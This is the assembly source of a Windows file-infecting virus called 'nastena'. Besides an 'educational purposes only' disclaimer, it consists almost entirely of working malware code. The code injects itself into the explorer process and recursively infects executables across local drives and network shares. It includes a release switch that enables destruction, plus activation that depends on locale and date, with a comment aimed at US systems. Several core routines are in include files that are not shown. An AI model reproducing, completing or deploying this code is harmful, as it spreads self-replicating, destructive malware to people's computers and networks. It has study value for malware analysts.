; To assemble, you need all of the include files in nas_inc.zip.

;============================nastena 0.962 beta==============================;
;    This source is for educational purposes only. Author does not take		;
;            responsibility for the consequences of its usage				;
;					This is open-source program								;
.586
locals 
jumps
.model flat, stdcall

DEBUG equ 1			; debug console
RELEASE	equ 0	; 
NORELEASE	equ 1
;RELEASE=0 NORELEASE=1 - 	destruction off, infecting *.MZD, 
;					beep at infection
;RELEASE=1 NORELEASE=0 - 	destruction on,  infecting *.EXE

callW macro f
extrn f:proc
	call f
endm

include windows.inc
include consts.inc
include pestruct.inc
include structs.inc
include eaxapi1.inc ;definitions of macro
MB_TOPMOST	equ 40000h

.data
start:

	mov 1 ptr [dropper], 1
	lea eax, [_start]
	push esp esp 0 0 eax 10000h 0
	callW CreateThread
	pop ecx

	
_exit:
	push 30000
	callW Sleep
	push 0
	callW ExitProcess


;org 100h
db ".beg."
virstart:
_realstart:
	;  after decryption execution gets here
_start:
	call recalc
recalc:
rec	db 5Dh ; pop ebp

	call get_kernel
	push kernel32_api_num
	pop ecx
__Kernel32 equ _LoadLibraryA-5
	lea esi, [ebp+__Kernel32-rec]
	call get_apis ; get kernel32 apis


	lea eax, [ebp+thread1-rec]
	push esp esp 0 0 eax 10000h 0
	xcall CreateThread
	pop ecx

	push 80
	xcall Sleep

	; restore host program if not dropper
	cmp 1 ptr [ebp+dropper-rec], 0
	jnz __567
	lea ebx, [ebp+replace-rec]
	mov edi, [ebx].to_rva
	lea esi, [ebp+backup-rec]
	mov ecx, [ebx].sizeinbytes
	pushad
	push esp
	push esp
	push PAGE_READWRITE
	push ecx
	push edi
	xcall VirtualProtect
	pop eax
	popad
	rep movsb
	; восстан. jmp
	cmp 1 ptr [ebp+isjmp-rec], 0
	jz __567

	lea ebx, [ebp+jmpreplace-rec]
	mov edi, [ebx].to_rva
	lea esi, [ebp+jmpbackup-rec]
	mov ecx, jmpsize
	pushad
	push esp
	push esp
	push PAGE_READWRITE
	push ecx
	push edi
	xcall VirtualProtect
	pop eax
	popad
	rep movsb

__567:
	

_out:
	cmp 1 ptr [ebp+dropper-rec], 0
	jz __return_to_host
	; exit thread if dropper
	push 0
	xcall ExitThread
__return_to_host:
	; return to host if not dropper
	lea eax, [ebp+__jmp_addr+4-rec]
	mov ecx, [ebp+retaddr-rec]
	sub ecx, eax
	mov [ebp+__jmp_addr-rec], ecx
	popad
	db 0E9h	; jmp far
__jmp_addr	dd ?
	nop

retaddr	dd offset _exit;401000h

; macro
copy_to_stack	macro thread1, _stack_exec1
local ddx
local begin
thread1:
begin:
	call ddx
ddx:
	pop ebp
	sub ebp, (ddx-recalc)
	mov eax, ebp
	sub eax, esp
	cmp eax, (recalc-virstart); test if we are in stack
	jz _stack_exec1
	; not in stack
	; copy ourselves to stack
	sub esp, virsize
	and esp, -4 ; align esp to 4 
	mov edi, esp
	lea esi, [ebp+virstart-rec]
	mov ecx, virsize
	rep movsb
	lea eax, [esp+(thread1-virstart)]
	jmp eax
endm

	copy_to_stack thread1, _stack_exec1

_stack_exec1:
	sub esp, 500h

	; load remaining DLL
__user32 equ _MessageBoxA-5
	lea eax, [ebp+_user32-rec]
	push eax
	xcall LoadLibraryA
	or eax, eax
	jz exit_thread1

	mov [ebp+_Default-rec], eax
	lea esi, [ebp+__user32-rec]
	push user32_api_num
	pop ecx
	call get_apis

__psapi	equ	_EnumProcessModules-5
	lea eax, [ebp+_psapi-rec]
	push eax
	xcall LoadLibraryA
	or eax, eax
	jz __54
	mov [ebp+_Default-rec], eax
	lea esi, [ebp+__psapi-rec]
	push psapi_api_num
	pop ecx
	call get_apis

__54:

IF DEBUG EQ 1
__msvcrt	equ	_sprintf-5
	lea eax, [ebp+_msvcrt-rec]
	push eax
	xcall LoadLibraryA
	mov [ebp+_Default-rec], eax
	lea esi, [ebp+__msvcrt-rec]
	push msvcrt_api_num
	pop ecx
	call get_apis
ENDIF

;)	
openm:
	lea eax, [ebp+mutexname-rec]
	push eax
	push 1
	push 1f0001h	; MUTEX_ALL_ACCESS
	xcall OpenMutex

	; wait for release of mutex
	mov 4 ptr [ebp+hmutex-rec], eax
	test eax, eax
	jz processing
	push -1
	push eax
	xcall WaitForSingleObject


	; mutex is released

processing:
	sub eax, eax
	mov 1 ptr [ebp+isseh-rec], al

;	jmp run_local_thread
	; let us go

	; look for explorer
	push 'd'
	push 'nWya'
	push 'rT_l'
	push 'lehS' ;Shell_TrayWnd
	mov eax, esp
	push 0
	push eax
	xcall FindWindowA
	or eax, eax
	jz foregr_win;exit_thread1
	mov esi, eax
	add esp, 16
	jmp cy1
	; if no explorer, get topmost window
foregr_win:
	xcall GetForegroundWindow
	mov esi, eax

cy1:
	push eax
	push esp
	push eax
	xcall GetWindowThreadProcessId
	pop edx
	or eax, eax
	jz exit_thread1
	mov edi, eax


;efork(pid, paddr, icaddr, ofs, ics, hwnd, thid)
	push edi
	push esi
	push virsize+1
	push (thread2-virstart)
	lea eax, [ebp+virstart-rec]
	push eax
	push 0 
	push edx
	call efork
	or eax, eax
	jnz exit_thread1

	; run local thread if we can not run remote one
run_local_thread:
	lea eax, [ebp+thread2-rec]
	push esp esp 0 0 eax 10000h 0
	xcall CreateThread
	pop ecx

exit_thread1:
	push 200
	xcall Sleep	; wait while thread copies itself to stack
	push 0
	xcall ExitThread	; exit


; stack variables

valuessize 	equ 400h ; local stack values size
; variables begin at ebp-8
_thid	equ ebp-08h
_hwnd	equ ebp-0Ch
fdata 	equ ebp-4 ptr 150h
ahand		equ ebp-4 ptr 154h	
hmap		equ ebp-4 ptr 158h
fbase		equ ebp-4 ptr 15Ch
rvaalloc 	equ ebp-4 ptr 160h
i		equ ebp-4 ptr 164h
fsize		equ ebp-4 ptr 168h
newfsize	equ ebp-4 ptr 16Ch
fpos		equ ebp-4 ptr 170h
rvapos	equ ebp-4 ptr 174h
loaderbuf	equ ebp-4 ptr 178h	; pointer to loader buffer 
virbuf	equ ebp-4 ptr 17Ch	; pointer to virus buffer 
hmap		equ ebp-4 ptr 180h
tbl	equ ebp-4 ptr 184h
jmpofs	equ ebp-4 ptr 188h
injofs	equ ebp-4 ptr 18Ch
loaderphysaddr 	equ ebp-4 ptr 190h
newimagesize 	equ ebp-4 ptr 194h
newsectionvirtsize	equ ebp-4 ptr 198h
newsectionphyssize	equ ebp-4 ptr 19Ch
diffaddr	equ ebp-4 ptr 1A0h
codesegphysaddr	equ ebp-4 ptr 1A4h
enchash	equ ebp-4 ptr 1A8h
hfind equ ebp-4 ptr 1ACh
tempdir	equ ebp-1 ptr 2B0h
tempdirl	equ ebp-1 ptr 3B0h
firstinf	equ ebp-4 ptr 3B4h
countinfect	equ ebp-4 ptr 3B8h
level   equ ebp-4 ptr 3BCh	; recursion level
dsk equ ebp-1 ptr 3CCh
infected	equ ebp-4 ptr 3D0h
jmpflag	equ ebp-4 ptr 3D4h

;***  thread2 - main thread
	copy_to_stack thread2, stack_exec

stack_exec:
	sub esp, valuessize

createm:
	lea eax, [ebp+mutexname-rec]
	push eax
	push 1
	push 0
	xcall CreateMutex
	mov 4 ptr [ebp+hmutex-rec], eax
	test eax, eax
	jz halt

	; set work mode 
	call setmode

	call initthread

IF DEBUG EQ 1
	call _init
	call __76786
	db "Nastena Perelett 2003", 0
__76786:
;	call _cout
	xcall SetConsoleTitleA
ENDIF

	; run net infection thread
	lea eax, [ebp+thread3-rec]
	push esp esp 0 0 eax 10000h 0
	xcall CreateThread
	pop ecx

IF NORELEASE EQ 1
	mov 4 ptr [dsk], '\:c';'.'
ENDIF

IF RELEASE EQ 1
	mov 4 ptr [dsk], '.'
ENDIF	

	; recursion level
	mov [level], 0
	; inf count
	mov [countinfect], 0
	lea esi, [dsk]
	sub esp, stsize
	lea edi, [esp]
	mov ecx, 256
	cld
	repnz movsb
	call recinf
	; recinf checks infection count
	add esp, stsize

main_loop:
	; set work mode 
	call setmode

	; fuck disk files
	mov 4 ptr [dsk], '\:c'
	; change disk several times
	push 3
	pop ecx
diskch:
	pushad
look:
	rdtsc
	and al, 01fh
	add al, 63h
	mov byte ptr [dsk], al
	lea eax, [dsk]
	push eax
	xcall SetCurrentDirectoryA
	or eax, eax
	jz look
	
	call check_cd
	jnz nextdsk
	
	; recursion level
	mov [level], 0
	; inf count
	mov [countinfect], 0
	lea esi, [dsk]
	sub esp, stsize
	lea edi, [esp]
	mov ecx, 256
	cld
	repnz movsb
	call recinf
	; recinf checks infection count
	add esp, stsize
	popad
nextdsk:	
	loop diskch

	push 20*60000
	xcall Sleep		
	jmp main_loop
	
vir_exit:
	; release mutex
	push 4 ptr [ebp+hmutex-rec]
	xcall ReleaseMutex
	push 4 ptr [ebp+hmutex-rec]
	xcall CloseHandle

vir_exit2:
	; free memory 
	mov eax, [tbl]
	call _vfree
	mov eax, [loaderbuf]
	call _vfree
halt:
	; exit
	push 0
	xcall ExitThread

; CD-ROM check
check_cd:
	push 0
	call _6563
	db "l0x",0
_6563:	
	xcall CreateDirectoryA
	dec eax
	jnz _cd
	call _6564
	db "l0x", 0
_6564:			
	xcall RemoveDirectoryA
	sub eax, eax
	ret
_cd:
	sub eax, eax
	inc eax
	ret

; *** thread3 - net infection
	copy_to_stack thread3, _stack_exec3

_stack_exec3:
	sub esp, valuessize

	call initthread

__mpr		equ	_WNetOpenEnumA-5
	lea eax, [ebp+_mpr-rec]
	push eax
	xcall LoadLibraryA
	or eax, eax
	jz __57
	mov [ebp+_Default-rec], eax
	lea esi, [ebp+__mpr-rec]
	push mpr_api_num
	pop ecx
	call get_apis

	call share

__57:	
	jmp vir_exit2
; *** end of thread3

	; thread initializing
initthread:
	; set low priority
	xcall GetCurrentThread
	push -15
	push eax
	xcall SetThreadPriority

	; allocate memory for buffers
	mov eax, loader_size*loader_mult
	call _valloc
	mov [loaderbuf], eax
	; init tbl
	mov eax, 2048
	call _valloc
	mov [tbl], eax
	push eax
	call disasm_init
	add esp, 4
	ret


setmode:
	; this is a test of locale
	sub eax, eax
	push eax eax	; 8 bytes in stack
	mov edi, esp
	push 7
	push edi
LOCALE_ICOUNTRY	equ 5
	push LOCALE_ICOUNTRY
LOCALE_USER_DEFAULT	equ 400h	
	push LOCALE_USER_DEFAULT
	xcall GetLocaleInfoA
	cmp 4 ptr [edi], 0031h	; if we are in Lameland (USA) then activate 
	add esp, 8
	jg incubate 

	mov byte ptr [ebp+act-rec], 0
	; дата
	lea eax,[ebp+offset systimestruct-rec]
	push eax
	xcall GetLocalTime
	mov ax, word ptr [ebp+offset day-rec]
	add ax, word ptr [ebp+offset month-rec]
	and ax, 15	; every 16 days
	cmp ax, 4

IF NORELEASE EQ 1
	jmp incubate
ENDIF

IF RELEASE EQ 1
	jnz incubate
ENDIF	

	;  activate
	mov byte ptr [ebp+act-rec], 1
incubate:
	ret



max	equ 2000
mutexname	db "ZMX",0		; mutex name
hmutex	dd 0


include eaxapi2.inc
include efork.inc
include valloc.inc
include lde32bin.inc
include inf.inc
include infectd.inc
include find.inc
include sethook.inc
include recinf.inc
include perm.inc
include share.inc
IF DEBUG EQ 1
include console.inc
ENDIF

kernel32_api_num	equ 69
declfunc	LoadLibraryA
declfunc 	OpenProcess
declfunc 	GetVersion
declfunc 	GetCurrentThread
declfunc 	SetThreadPriority
declfunc	CreateToolhelp32Snapshot
declfunc	Module32First
declfunc	Module32Next
declfunc	GetCurrentProcessId
declfunc	GetCurrentProcess
declfunc	CreateFileMappingA
declfunc	MapViewOfFile
declfunc	UnmapViewOfFile
declfunc	CloseHandle
declfunc	VirtualAlloc
declfunc	VirtualFree
declfunc	GlobalAlloc
declfunc	GlobalFree
declfunc	CreateThread
declfunc	CreateEventA
declfunc	ReadProcessMemory
declfunc	WriteProcessMemory
declfunc	VirtualProtectEx
declfunc	GetModuleHandleA
declfunc	DuplicateHandle
declfunc	ExitThread
declfunc	Sleep
declfunc	ExitProcess
declfunc	ReleaseMutex
declfunc	OpenMutex
declfunc	CreateMutex
declfunc	CreateFileA
declfunc	CreateProcessA
declfunc	CreateProcessW
declfunc	WaitForDebugEvent
declfunc	WaitForSingleObject
declfunc	ContinueDebugEvent
declfunc	TerminateProcess
declfunc	SetCurrentDirectoryA
declfunc	GetCurrentDirectoryA
declfunc	FindFirstFileA
declfunc	FindNextFileA
declfunc	FindClose
declfunc	GetWindowsDirectoryA
declfunc	GetSystemDirectoryA
declfunc	lstrcmpiA
declfunc	SetThreadContext
declfunc	GetThreadContext
declfunc	SuspendThread
declfunc	AllocConsole
declfunc	VirtualProtect
declfunc	ResumeThread
declfunc	TerminateThread
declfunc	GetFileSize
declfunc	PulseEvent
declfunc	SetEvent
declfunc	CopyFileA
declfunc	DeleteFileA
declfunc	GetThreadSelectorEntry
declfunc	WriteFile
declfunc	GetStdHandle
declfunc	GetLocalTime
declfunc	SetConsoleTitleA
declfunc	RegisterServiceProcess
declfunc	Beep
declfunc 	GetLocaleInfoA
declfunc	SetFileTime
declfunc	CreateDirectoryA
declfunc	RemoveDirectoryA

_user32	db "user32",0
user32_api_num	equ 20
declfunc	MessageBoxA
declfunc	SetWindowsHookEx
declfunc	UnhookWindowsHookEx
declfunc	CallNextHookEx
declfunc	SendMessageA
declfunc	GetWindowThreadProcessId
declfunc	FindWindowA
declfunc	CreateWindowExA
declfunc	CreateWindowExW
declfunc	MessageBoxExA
declfunc	MessageBoxExW
declfunc	MessageBoxW
declfunc	DialogBoxParamA
declfunc	DialogBoxParamW
declfunc	DialogBoxIndirectParamA
declfunc	DialogBoxIndirectParamW
declfunc	CreateDialogParamA
declfunc	CreateDialogParamW
declfunc	GetWindow
declfunc	GetForegroundWindow

_psapi	db "psapi",0
psapi_api_num	equ 1
declfunc	EnumProcessModules

_mpr	db "mpr",0
mpr_api_num	equ 3
declfunc	WNetOpenEnumA
declfunc	WNetCloseEnum
declfunc	WNetEnumResourceA


IF DEBUG EQ 1
_msvcrt	db "msvcrt",0
msvcrt_api_num	equ 1
declfunc	sprintf
ENDIF

db "Nastena Perelett 0.95 beta",0	; name

replace_struc	struc
from_rva	dd ?
to_rva		dd ?
sizeinbytes		dd ?
replace_struc	ends
; static variables
vloader_size	dd 0
vvir_size	dd 0
; replace struct
replace	db 1*(size replace_struc)	dup (0)
jmpreplace		db 1*(size replace_struc)	dup (0)
loader_mult	equ 10
backup db 1+loader_size*loader_mult	dup (0); multiplier due to permutation
jmpsize equ 5
jmpbackup	db jmpsize	dup(0)
isjmp	db 0
dropper	db 1
isseh		db 0
ev 	dd 0
act db 0

systimestruct:
year dw 0766h
month dw 0544h
dayweek dw 0453h
day dw 0346h
dw 04574h,02346h,07675h,06555h

_inj_code_size	equ $-thread2
stacksize 	equ $-thread2 ;$-start
virsize	equ $-_start+10h
db ".end."
end start
ends

